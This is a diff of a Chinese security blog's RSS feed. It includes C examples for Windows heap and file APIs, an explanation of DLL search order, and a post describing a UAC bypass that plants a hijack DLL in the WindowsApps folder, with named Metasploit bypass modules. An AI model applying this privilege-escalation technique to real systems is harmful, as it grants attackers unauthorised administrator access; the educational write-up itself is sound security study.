style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication1.cpp : This file contains the &#39;main&#39; function. Program execution begins and ends there. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;winsock.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">// int WinMain(HINSTANCE hinstance,HINSTANCE hprevinstance,LPSTR lpcmdline,int ncmdshow) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> CHAR text[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Hello world !!!&#34;</span>; +</span></span><span style="display:flex;"><span> LPCWCHAR pFilename <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Users</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Rvn0xsy</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">source</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">repos</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">ConsoleApplication1</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Debug</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">splash.bmp&#34;</span>); +</span></span><span style="display:flex;"><span> LPCWCHAR pSaveFilename <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Users</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Rvn0xsy</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">source</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">repos</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">ConsoleApplication1</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Debug</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">save.bmp&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 创建文件句柄,打开图片 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(pFilename, GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;CreateFile&#34;</span>), <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error&#34;</span>), MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取文件大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwFileSize; +</span></span><span style="display:flex;"><span> dwFileSize<span style="color:#f92672">=</span><span style="color:#a6e22e">GetFileSize</span>(hFile, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请一个与文件大小对应的内存空间 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> CHAR <span style="color:#f92672">*</span> lpBuffer <span style="color:#f92672">=</span>(CHAR <span style="color:#f92672">*</span>) <span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, dwFileSize); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将文件内容读入内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">ReadFile</span>(hFile, lpBuffer, dwFileSize, <span style="color:#f92672">&amp;</span>dwFileSize, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取第一个像素点对应的首字节 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD <span style="color:#f92672">*</span> point <span style="color:#f92672">=</span> (DWORD<span style="color:#f92672">*</span>)(lpBuffer <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取首个像素地址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> CHAR<span style="color:#f92672">*</span> lpData <span style="color:#f92672">=</span> (lpBuffer <span style="color:#f92672">+</span> (<span style="color:#f92672">*</span>point)); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 写入内容 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(lpData, text, <span style="color:#66d9ef">sizeof</span>(text)); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">//创建保存副本 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hSave <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(pSaveFilename, GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WriteFile</span>(hSave, lpBuffer, dwFileSize, <span style="color:#f92672">&amp;</span>dwFileSize, NULL); <span style="color:#75715e">// 写入文件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CloseHandle</span>(hSave); <span style="color:#75715e">// 保存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 释放堆 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">HeapFree</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), <span style="color:#ae81ff">0</span>, lpBuffer); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 关闭文件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CloseHandle</span>(hFile); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>效果如下:</p>Visual Studio 调试DLLhttps://payloads.online/archivers/2019-01-26/2/Sat, 26 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-26/2/<p> <img src="https://images.payloads.online/4b0d4868-4f5f-11ec-b255-00d861bf4abb.png" alt="2019-01-26-18-26-19"> </p> @@ -2353,7 +4635,18 @@ file gets deleted.</p>驱动人生供应链 </ul> <p>在最后它会寻找<code>C:\Users\&lt;Username&gt;\APPData\Local\Microsoft\WindowsApps\</code>这个目录,而这个目录的读写是不需要触发UAC获得管理员权限来操作的。</p> <p>由此,可以利用该缺陷,将Coolis转换成DLL,上传至<code>C:\Users\&lt;Username&gt;\APPData\Local\Microsoft\WindowsApps\</code>,紧接着执行SystemPropertiesAdvanced.exe,它会自动将<code>srrstr.dll</code>加载至SystemPropertiesAdvanced.exe进程的内存,同样的,我们也就拥有了管理员权限。</p> -<p>在此之前,我有想过在下列模块里做一些优化:</p></description></item><item><title>2018 - 挥手告别https://payloads.online/archivers/2018-18-31/Mon, 31 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-18-31/<h1 id="2017-与创业这条路挥手告别">2017 与创业这条路挥手告别</h1> +<p>在此之前,我有想过在下列模块里做一些优化:</p> +<ul> +<li>exploit/windows/local/bypassuac_fodhelper</li> +<li>exploit/windows/local/bypassuac_injection</li> +<li>exploit/windows/local/bypassuac_comhijack</li> +</ul> +<p>我觉得COM劫持的空间还是很大的,并且也一定程度上能够bypass AV。</p> +<p>Demo:</p> +<!-- raw HTML omitted --> +<h2 id="0x03-总结">0x03 总结</h2> +<p>UAC、DLL劫持、COM劫持的问题肯定还会有很多、但是以前的轮子到现在拿起来用基本上都会被行为拦截,这就需要掌握原理去自己探索、创造。</p> +<p>系统镜像:<code>ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/</code></p>2018 - 挥手告别https://payloads.online/archivers/2018-18-31/Mon, 31 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-18-31/<h1 id="2017-与创业这条路挥手告别">2017 与创业这条路挥手告别</h1> <p>2017是我蜕变最大的一年,工作辞了、准备创业、创业失败,最终写了一篇文章,与创业这条路挥手告别。</p> <p>文章部分内容如下:</p> <p>《关于一叶知安团队,我有些事情要对读者交代》</p> @@ -2385,7 +4678,36 @@ file gets deleted.</p>驱动人生供应链 <p>2017/08/26 倾旋</p> <p><a href="https://mp.weixin.qq.com/s/IzCJk69RYL_IrTFVaP2n1A">&gt;&gt;原文</a></p> -<p>现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。</p></description></item><item><title>DLL Hijacking & COM Hijacking ByPass UAC - 议题解读https://payloads.online/archivers/2018-12-22/1/Sat, 22 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-22/1/<blockquote> +<p>现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。</p> +<p>写上面这篇文章的时候是从南京落魄的逃离至杭州刚刚安定下来的时候,在此谢谢霖的照顾。</p> +<p>后续找了一份比较清闲的安全服务乙方工作,待遇还可以,但是团队是刚组建起来,需要很大精力投入建设,正是因为闲,我又把C/C++这类学习成本比较高的语言拾起来……至今我觉得我的选择是对的。</p> +<p>同时也给我的“前渗透框架”项目奠定了基础,锻炼了我的能力,使我在安全领域拥有了更多的方向。</p> +<p>参加沙龙的时候,有幸结识了我的前辈 - <strong>GUO</strong>,在聊到职业现状时,他建议我去更大的平台(奇虎/360企业安全集团),我非常认同前辈的说法——“人不能一直活在舒适区”。</p> +<p>当时只是简单聊聊,内心是对自己很不满意的,认为360是一个具有品牌力量的公司,能进入的绝非平庸之辈,我这样的可能面试都过不了,学历不高、能力不强,极度不自信。</p> +<p>正是这种极度不自信催促了我学习上进的心,然后开始将渗透做深,与ShadowTeam里的师傅们交流。</p> +<p>在2017年最后一次与GUO对话的时候,我说了一句:“我一定会自信的走进去(360)”</p> +<h1 id="2018">2018</h1> +<p>过完年,杭州的天气依旧有些冷,决定做几个漂亮的渗透案例,到时候给自己的简历加分……</p> +<p>花了一个月的时间,产出了两篇文章:</p> +<ul> +<li><a href="https://payloads.online/archivers/2017-12-28/1">针对国内一大厂的后渗透 - 持续</a></li> +<li><a href="https://payloads.online/archivers/2018-01-30/1">针对某跨国企业的一次渗透测试-持续</a></li> +</ul> +<p>分别都拿到域控作为结束,我将文章脱敏后发出来,跨国企业的安全部负责人在安全圈看到了这个文章,通过邮箱取得联系,最后我决定删除文章,当时圈里都传遍了,<strong>朋友圈现在还有聊天记录</strong>。</p> +<p>的确这种做法是不对的,厂商也差点报警处理,还好没有太大影响,并且我也给了修复建议,碰到了好人,运气好。</p> +<p>三四月份,天气开始热起来了,我已经写好简历,按照流程面试完后,准备奔赴上海找房……</p> +<h2 id="四月向魔都宣告---我来了">四月向魔都宣告 - 我来了</h2> +<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> +<p>谢谢我的朋友们给我的支持!</p> +<p><a href="https://payloads.online/archivers/2018-04-20/1">&gt;&gt;原文</a></p> +<p>于是在八月份写了一篇总结:</p> +<h3 id="入职">入职</h3> +<p>在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。</p> +<h3 id="工作">工作</h3> +<p>慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;</p> +<p>有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。</p> +<h3 id="近况">近况</h3> +<p>最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。</p>DLL Hijacking & COM Hijacking ByPass UAC - 议题解读https://payloads.online/archivers/2018-12-22/1/Sat, 22 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-22/1/<blockquote> <p>在线地址:<a href="https://www.bilibili.com/video/av51718274/">https://www.bilibili.com/video/av51718274/</a></p> </blockquote> <!-- raw HTML omitted --> @@ -2421,7 +4743,31 @@ file gets deleted.</p>驱动人生供应链 <p> <img src="https://images.payloads.online/4516d88e-4f5f-11ec-971e-00d861bf4abb.png" alt=""> -</p></description></item><item><title>Windows - 内存管理https://payloads.online/archivers/2018-12-21/1/Fri, 21 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-21/1/<h2 id="0x00-windows-heap">0x00 Windows Heap</h2> +</p> +<p>在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。</p> +<h2 id="0x03-dll的加载过程">0X03 DLL的加载过程</h2> +<ul> +<li>1.程序所在目录</li> +<li>2.程序加载目录(SetCurrentDirectory)</li> +<li>3.系统目录即 SYSTEM32 目录</li> +<li>4.16位系统目录即 SYSTEM 目录</li> +<li>5.Windows目录</li> +<li>6.PATH环境变量中列出的目录</li> +</ul> +<p>PS:Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。</p> +<p>注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs</p> +<p> + <img src="https://images.payloads.online/456a6e72-4f5f-11ec-b36a-00d861bf4abb.png" alt=""> + +</p> +<h3 id="dll的加载过程--know-dlls注册表项">DLL的加载过程 – Know DLLs注册表项</h3> +<p>Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。</p> +<p> + <img src="https://images.payloads.online/45b927d8-4f5f-11ec-9b6b-00d861bf4abb.png" alt=""> + +</p> +<h3 id="dll的加载过程--process-monitor">DLL的加载过程 – Process Monitor</h3> +<p>Process Monitor是Windows的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。</p>Windows - 内存管理https://payloads.online/archivers/2018-12-21/1/Fri, 21 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-21/1/<h2 id="0x00-windows-heap">0x00 Windows Heap</h2> <p>每个线程都有自己的堆栈,堆用于在内存中存储未知大小的数据,由堆管理器管理,而栈用于保存函数执行状态,存储局部变量。</p> <h2 id="0x01-申请堆空间的步骤---heap-api">0x01 申请堆空间的步骤 - Heap API</h2> <ul> @@ -2528,11 +4874,109 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">90 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">91 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92 -</span></code></pr</description></item><item><title>Windows - 线程同步https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/<h2 id="0x00-线程基础">0x00 线程基础</h2> -<p>每个线程的堆栈空间不同,在多线程执行时,可以互不干扰的运行,但是全局变量保存在全局区,当多个线程读写全局变量时,由于读写操作不是原子的,会发生程序错乱。</p> -<h3 id="为什么不是原子">为什么不是原子?</h3> -<p>当自增、自减时,需要两行汇编指令,而CPU线程调度的最小单位是一行汇编指令,所以当某个值自增时,操作就不是原子的。</p> -<p>为了保证多线程读写全局变量达到同步,可以使用临界区技术,Windows正是实现了这个技术,提供了对应的API。</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 堆管理 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>VOID <span style="color:#a6e22e">P</span>(<span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span> contents) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(contents); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 堆管理 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 创建堆 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE HeapCreate( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD flOptions, +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwInitialSize, +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwMaximumSize +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> flOptions: 1.HEAP_CREATE_ENABLE_EXECUTE 代码允许执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 2.HEAP_GENERATE_EXCEPTIONS 如果分配内存失败,会产生异常 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 3.HEAP_NO_SERIALIZE 不进行连续存取 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwInitialSize: 堆的初始化大小,如果为0,则系统会自动分配一个大小。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwMaximumSize: 堆的最大值,如果为0,将是一个可增长的堆,可以达到系统能够分配的最大值。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> HANDLE hHeap <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapCreate</span>(HEAP_CREATE_ENABLE_EXECUTE, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hHeap <span style="color:#f92672">==</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">P</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error HeapCreate() ...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 获取堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE GetProcessHeap(); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 函数返回堆句柄,如果返回值为NULL,获取堆失败 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> HANDLE hHeapRand <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcessHeap</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hHeapRand <span style="color:#f92672">==</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">P</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;GetProcessHeap() : No Heap ...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 获取堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD GetProcessHeaps( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD NumberOfHeaps, // 输入参数,要获取的句柄数量 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PHANDLE ProcessHeaps // 输出参数,句柄数组,用于保存多个句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 函数返回堆句柄,如果返回值为NULL,获取堆失败 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> CONST DWORD dwHeapMax <span style="color:#f92672">=</span> <span style="color:#ae81ff">1024</span>; +</span></span><span style="display:flex;"><span> HANDLE hHeapsNum[dwHeapMax]; +</span></span><span style="display:flex;"><span> DWORD dwHeapNum <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcessHeaps</span>(dwHeapMax, hHeapsNum); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Heap number : &#34;</span> <span style="color:#f92672">&lt;&lt;</span> dwHeapNum <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 为堆分配内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DECLSPEC_ALLOCATOR LPVOID HeapAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE hHeap, // 堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD dwFlags,// 内存分配标志 +</span></span></span><span 